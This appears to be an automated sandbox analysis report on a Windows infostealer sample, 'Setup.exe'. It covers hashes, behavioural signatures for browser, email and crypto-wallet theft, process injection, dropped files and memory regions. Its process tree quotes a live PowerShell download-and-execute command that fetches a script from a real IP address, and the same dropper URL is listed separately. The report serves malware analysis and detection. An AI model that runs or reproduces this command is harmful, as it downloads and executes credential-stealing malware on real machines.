Analysis

  • max time kernel
    103s
  • max time network
    112s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20250619-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250619-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    07/10/2025, 18:32

General

  • Target
    Setup.exe
  • Size 395KB
  • Sample251007-w6v3hsgn3z
  • SHA256 26c855264896db95ed46e502f2d318e5f2ad25b59bdc47bd7ffe92646102ae0d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.186/mix2pgYCDbF4pdNYtz.ps1

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 11 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:4392
    • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
      C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
      2⤵
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4796
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4972
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4892
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:1144
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:4352
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            3⤵
              PID:4696
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              3⤵
                PID:4944
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                3⤵
                  PID:4708
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                  3⤵
                    PID:5652
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:2132
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:3952
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.186/mix2pgYCDbF4pdNYtz.ps1')"
                    3⤵
                    • Badlisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5884
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:1976
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:2428

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        BB95BEB.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\BB95BEB.tmp
                        • Size 1.2MB
                        • SHA256 19722f8de1b746404941ffa5cc96fa292b12affdef665c386b3998e7bbd11bb1
                        • MD5 SHA1 SHA512 SSDEEP

                        ED77C94.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\ED77C94.tmp
                        • Size 40B
                        • SHA256 457968d66c036f4fc7e0bd3af88b1e092e70122df9f326d659c88e559db3085a
                        • MD5 SHA1 SHA512

                        MicrosoftEdgeUpdate.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
                        • Size 201KB
                        • SHA256 f8f3ace5c3c404342251e16381132f0453514e03e9c65cf387a21cd288552200
                        • MD5 SHA1 SHA512 SSDEEP

                        __PSScriptPolicyTest_xdr5shxm.24h.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdr5shxm.24h.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512

                        memory/1144-25-0x00000233997D0000-0x00000233997D2000-memory.dmp

                        memory/2132-33-0x0000000000900000-0x0000000000954000-memory.dmp

                        memory/2132-34-0x0000000000B10000-0x0000000000B13000-memory.dmp

                        memory/2132-36-0x0000000000B20000-0x0000000000B77000-memory.dmp

                        memory/3952-40-0x0000000003A90000-0x00000000040A0000-memory.dmp

                        memory/3952-38-0x0000000000E00000-0x00000000013E0000-memory.dmp

                        memory/3952-39-0x0000000001680000-0x0000000001683000-memory.dmp

                        memory/3952-45-0x0000000003A90000-0x00000000040A0000-memory.dmp

                        memory/3952-44-0x0000000003A90000-0x00000000040A0000-memory.dmp

                        memory/3952-46-0x0000000003A90000-0x00000000040A0000-memory.dmp

                        memory/4352-26-0x000001CF78680000-0x000001CF78682000-memory.dmp

                        memory/4392-20-0x00000000738E0000-0x0000000073A5B000-memory.dmp

                        memory/4392-19-0x00000000738E0000-0x0000000073A5B000-memory.dmp

                        memory/4392-1-0x0000000074220000-0x0000000074F3F000-memory.dmp

                        memory/4392-4-0x00000000738E0000-0x0000000073A5B000-memory.dmp

                        memory/4392-2-0x00000000007D0000-0x00000000007D1000-memory.dmp

                        memory/4392-5-0x00007FFE4CD30000-0x00007FFE4CF28000-memory.dmp

                        memory/4392-8-0x00000000738F5000-0x00000000738F6000-memory.dmp

                        memory/4392-9-0x00000000738E0000-0x0000000073A5B000-memory.dmp

                        memory/4392-11-0x00000000738E0000-0x0000000073A5B000-memory.dmp

                        memory/4696-28-0x0000012163950000-0x0000012163952000-memory.dmp

                        memory/4708-30-0x000002BD52E10000-0x000002BD52E12000-memory.dmp

                        memory/4796-32-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/4796-18-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/4796-17-0x00007FFE4CD30000-0x00007FFE4CF28000-memory.dmp

                        memory/4796-13-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/4796-27-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/4796-22-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/4796-68-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/4796-49-0x0000000000400000-0x0000000000439000-memory.dmp

                        memory/4892-24-0x0000025030CB0000-0x0000025030CB2000-memory.dmp

                        memory/4944-29-0x000001A045A00000-0x000001A045A02000-memory.dmp

                        memory/4972-23-0x000001C245110000-0x000001C245112000-memory.dmp

                        memory/5652-31-0x000001FD23570000-0x000001FD23572000-memory.dmp

                        memory/5884-51-0x00000000050F0000-0x0000000005156000-memory.dmp

                        memory/5884-65-0x0000000007690000-0x0000000007D0A000-memory.dmp

                        memory/5884-52-0x0000000005890000-0x00000000058F6000-memory.dmp

                        memory/5884-48-0x00000000051C0000-0x000000000588A000-memory.dmp

                        memory/5884-62-0x0000000005900000-0x0000000005C57000-memory.dmp

                        memory/5884-63-0x0000000005E60000-0x0000000005E7E000-memory.dmp

                        memory/5884-64-0x0000000005EA0000-0x0000000005EEC000-memory.dmp

                        memory/5884-50-0x0000000005020000-0x0000000005042000-memory.dmp

                        memory/5884-66-0x00000000063B0000-0x00000000063CA000-memory.dmp

                        memory/5884-47-0x0000000002810000-0x0000000002846000-memory.dmp

                        memory/5884-69-0x0000000074980000-0x0000000075131000-memory.dmp

                        memory/5884-70-0x000000000CD10000-0x000000000CDA6000-memory.dmp

                        memory/5884-71-0x00000000075E0000-0x0000000007602000-memory.dmp

                        memory/5884-72-0x000000000D360000-0x000000000D906000-memory.dmp